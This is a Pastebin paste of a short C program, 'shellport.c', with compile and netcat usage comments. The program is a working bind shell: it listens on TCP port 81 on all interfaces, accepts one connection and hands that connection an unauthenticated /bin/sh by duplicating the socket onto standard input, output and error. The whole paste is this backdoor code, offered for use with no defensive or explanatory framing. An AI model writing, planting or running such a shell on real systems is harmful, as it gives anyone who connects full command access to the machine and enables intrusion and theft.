Guest User

Untitled

a guest
Jun 18th, 2018
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.87 KB | None | 0 0
  1. /* gcc -O2 shellport.c -o shellport */
  2. /* nc -l -p 81 -vvv */
  3.  
  4. /********************************************
  5. * Shell on a TCP port *
  6. * Listens on PORT, shell on connect *
  7. * run "nc <HOST IP> <PORT>" to connet *
  8. ********************************************/
  9. #include <stdio.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netinet/in.h>
  13. #include <arpa/inet.h>
  14.  
  15. #define PORT 81
  16.  
  17. int main(int argc, char *argv[])
  18. {
  19. int sock = socket(2, 1, 0);
  20. struct sockaddr_in addr;
  21. addr.sin_family = AF_INET;
  22. addr.sin_port = htons(PORT);
  23. addr.sin_addr.s_addr = 0;
  24. bind(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr));
  25. listen(sock, 1);
  26. int sh = accept(sock, 0, 0);
  27. dup2(sh, 0);
  28. dup2(sh, 1);
  29. dup2(sh, 2);
  30. execve("/bin/sh", 0, 0);
  31. }
Add Comment
Please, Sign In to add comment